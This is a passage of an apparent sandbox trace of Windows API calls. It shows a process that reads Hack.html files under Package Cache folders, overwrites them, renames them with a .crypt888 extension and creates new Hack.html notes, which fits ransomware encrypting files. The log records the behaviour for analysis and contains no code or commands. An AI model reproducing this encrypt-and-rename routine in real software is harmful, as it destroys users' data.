dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.511] GetFileType (hFile=0x174) returned 0x1 [0090.511] GetFileType (hFile=0x174) returned 0x1 [0090.511] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0090.511] ReadFile (in: hFile=0x174, lpBuffer=0x2820e70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2820e70*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0090.523] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.524] GetFileType (hFile=0x174) returned 0x1 [0090.524] GetFileType (hFile=0x174) returned 0x1 [0090.525] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\hack.html.crypt888")) returned 1 [0090.526] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.526] GetFileType (hFile=0x174) returned 0x1 [0090.526] GetFileType (hFile=0x174) returned 0x1 [0090.527] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.528] GetFileType (hFile=0x174) returned 0x1 [0090.528] GetFileType (hFile=0x174) returned 0x1 [0090.528] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.530] GetFileType (hFile=0x174) returned 0x1 [0090.530] GetFileType (hFile=0x174) returned 0x1 [0090.531] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.532] GetFileType (hFile=0x174) returned 0x1 [0090.532] GetFileType (hFile=0x174) returned 0x1 [0090.532] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0090.532] ReadFile (in: hFile=0x174, lpBuffer=0x287a314, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x287a314*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.549] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.550] GetFileType (hFile=0x174) returned 0x1 [0090.550] GetFileType (hFile=0x174) returned 0x1 [0090.552] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\hack.html.crypt888")) returned 1 [0090.553] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.553] GetFileType (hFile=0x174) returned 0x1 [0090.553] GetFileType (hFile=0x174) returned 0x1 [0090.553] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0090.553] ReadFile (in: hFile=0x174, lpBuffer=0x28cc07c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x28cc07c*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0090.595] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.596] GetFileType (hFile=0x174) returned 0x1 [0090.596] GetFileType (hFile=0x174) returned 0x1 [0090.597] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\hack.html.crypt888")) returned 1 [0090.598] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.598] GetFileType (hFile=0x174) returned 0x1 [0090.599] GetFileType (hFile=0x174) returned 0x1 [0090.599] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0090.599] ReadFile (in: hFile=0x174, lpBuffer=0x271f568, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x271f568*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0090.618] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.621] GetFileType (hFile=0x174) returned 0x1 [0090.621] GetFileType (hFile=0x174) returned 0x1 [0090.622] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\hack.html.crypt888")) returned 1 [0090.623] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.623] GetFileType (hFile=0x174) returned 0x1 [0090.623] GetFileType (hFile=0x174) returned 0x1 [0090.625] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.627] GetFileType (hFile=0x174) returned 0x1 [0090.627] GetFileType (hFile=0x174) returned 0x1 [0090.628] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.630] GetFileType (hFile=0x174) returned 0x1 [0090.630] GetFileType (hFile=0x174) returned 0x1 [0090.632] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.632] GetFileType (hFile=0x174) returned 0x1 [0090.632] GetFileType (hFile=0x174) returned 0x1 [0090.632] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0090.632] ReadFile (in: hFile=0x174, lpBuffer=0x2778c8c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2778c8c*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.652] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.653] GetFileType (hFile=0x174) returned 0x1 [0090.653] GetFileType (hFile=0x174) returned 0x1 [0090.654] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\hack.html.crypt888")) returned 1 [0090.655] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.655] GetFileType (hFile=0x174) returned 0x1 [0090.655] GetFileType (hFile=0x174) returned 0x1 [0090.657] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.657] GetFileType (hFile=0x174) returned 0x1 [0090.657] GetFileType (hFile=0x174) returned 0x1 [0090.657] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0090.657] ReadFile (in: hFile=0x174, lpBuffer=0x27ccf1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27ccf1c*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.686] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.687] GetFileType (hFile=0x174) returned 0x1 [0090.687] GetFileType (hFile=0x174) returned 0x1 [0090.688] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\hack.html.crypt888")) returned 1 [0090.689] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.690] GetFileType (hFile=0x174) returned 0x1 [0090.690] GetFileType (hFile=0x174) returned 0x1 [0090.691] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.692] GetFileType (hFile=0x174) returned 0x1 [0090.692] GetFileType (hFile=0x174) returned 0x1 [0090.692] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0090.692] ReadFile (in: hFile=0x174, lpBuffer=0x28211ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x28211ac*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.711] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.712] GetFileType (hFile=0x174) returned 0x1 [0090.713] GetFileType (hFile=0x174) returned 0x1 [0090.714] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\hack.html.crypt888")) returned 1 [0090.715] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.715] GetFileType (hFile=0x174) returned 0x1 [0090.715] GetFileType (hFile=0x174) returned 0x1 [0090.717] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.717] GetFileType (hFile=0x174) returned 0x1 [0090.717] GetFileType (hFile=0x174) returned 0x1 [0090.717] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0090.717] ReadFile (in: hFile=0x174, lpBuffer=0x2875320, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2875320*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.736] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.737] GetFileType (hFile=0x174) returned 0x1 [0090.737] GetFileType (hFile=0x174) returned 0x1 [0090.738] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\hack.html.crypt888")) returned 1 [0090.739] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.739] GetFileType (hFile=0x174) returned 0x1 [0090.739] GetFileType (hFile=0x174) returned 0x1 [0090.740] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0090.740] ReadFile (in: hFile=0x174, lpBuffer=0x28c6ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x28c6ff8*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0090.756] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.757] GetFileType (hFile=0x174) returned 0x1 [0090.757] GetFileType (hFile=0x174) returned 0x1 [0090.757] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\hack.html.crypt888")) returned 1 [0090.760] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.760] GetFileType (hFile=0x174) returned 0x1 [0090.760] GetFileType (hFile=0x174) returned 0x1 [0090.760] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0090.760] ReadFile (in: hFile=0x174, lpBuffer=0x271a4e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x271a4e4*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0090.774] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.775] GetFileType (hFile=0x174) returned 0x1 [0090.775] GetFileType (hFile=0x174) returned 0x1 [0090.777] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\hack.html.crypt888")) returned 1 [0090.777] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.778] GetFileType (hFile=0x174) returned 0x1 [0090.778] GetFileType (hFile=0x174) returned 0x1 [0090.779] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.779] GetFileType (hFile=0x174) returned 0x1 [0090.779] GetFileType (hFile=0x174) returned 0x1 [0090.780] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.782] GetFileType (hFile=0x174) returned 0x1 [0090.782] GetFileType (hFile=0x174) returned 0x1 